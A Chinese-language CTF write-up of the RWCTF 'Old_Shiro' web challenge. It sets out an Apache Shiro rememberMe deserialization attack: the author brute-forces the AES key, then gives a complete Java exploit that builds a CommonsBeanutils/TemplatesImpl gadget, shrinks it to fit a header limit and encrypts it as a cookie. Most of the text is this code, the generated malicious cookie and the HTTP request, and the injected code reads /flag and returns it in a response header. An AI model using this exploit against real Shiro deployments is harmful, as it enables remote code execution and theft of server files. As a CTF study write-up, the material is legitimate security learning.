RWCTF-Web-Old_Shiro复现

当时做这题的时候shiro-tools一把梭没梭出来,没考虑到他不出网不能反弹shell,没好好看docker-compose文件(悲)。

先把key爆破了

key.png

这里就拿到key了

然后我们看配置文件,有限制header的长度

1
2
3
# application.properties
server.max-http-header-size = 3000
server.port=8888

那么就得缩小我们的payload,可以看看这篇文章=>终极Java反序列化Payload缩小技术

因为不出网所以可以尝试直接读取根目录下的flag

1
2
3
4
5
6
Object attr = java.lang.Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes", new java.lang.Class[ ]{}).invoke(null,null);
Object resp = attr.getClass().getMethod("getResponse", null).invoke(attr, null);

String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag", new java.lang.String[ ]{})));

resp.getClass().getMethod("addHeader", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{"r", flag});

然后就可以构造我们的poc,这里需要处理一下template的构造方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
package org.example;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.objectweb.asm.*;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[ ] args) throws Exception {
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +
"Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +
"String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +
"resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";
Object cbGadget = getCbGadget(javaCode);
byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);
String s = doShiroEncryption(cbGadgetBytes, key);
System.out.println("Cookie length: " + s.length());
System.out.println("Cookie is: " + s);
}
public static byte[ ] base64Decode(String key) {
return Base64.getDecoder().decode(key);
}
public static String base64Encode(byte[ ] key) {
return Base64.getEncoder().encodeToString(key);
}
public static String urlEncode(String key) throws UnsupportedEncodingException {
return URLEncoder.encode(key, "UTF-8");
}
public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
byte[ ] key = base64Decode(keyInBase64);
byte[ ] iv = generateRandomIv();
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
Key keySpec = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[ ] encrypted = cipher.doFinal(content);
byte[ ] cipherText = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, cipherText, 0, iv.length);
System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);
return base64Encode(cipherText);
}
private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {
byte[ ] iv = new byte[16];
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.nextBytes(iv);
return iv;
}
public static Object getCbGadget(String javaCode) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(javaCode);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static class Serialization {
public static byte[ ] serialize(Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(Object obj, OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
public static class Gadgets {
public static Object createTemplatesImpl(final String command) throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.makeClass("StubTransletPayload");
clazz.makeClassInitializer().insertAfter(javaCode);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[ ] classBytes = clazz.toBytecode();
// inject class bytes into instance
classBytes = shortenClassBytes(classBytes);
byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));
Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "1");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
public static class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[ ] classAsBytes(final Class<?> clazz) {
try {
final byte[ ] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class Reflections {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
public static byte[ ] shortenClassBytes(byte[ ] classBytes) {
ClassReader cr = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM7;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[ ] out = cw.toByteArray();
return out;
}
public static class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
}

拿到构造好的cookie。

1
2
Cookie length: 2816
Cookie is: 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

最后的payload

1
2
3
4
5
GET / HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
Cookie: 上面的cookie值;
Connection: close

payload.png

ok,唉,还是得好好学Java。之后会慢慢更自己的Javasec学习笔记,看看有没有什么好玩但又不那么难的题做点玩玩。

感觉需要稍微补一下开发基础(x)

很多技术还得深入去研究,感觉有点摆过头了。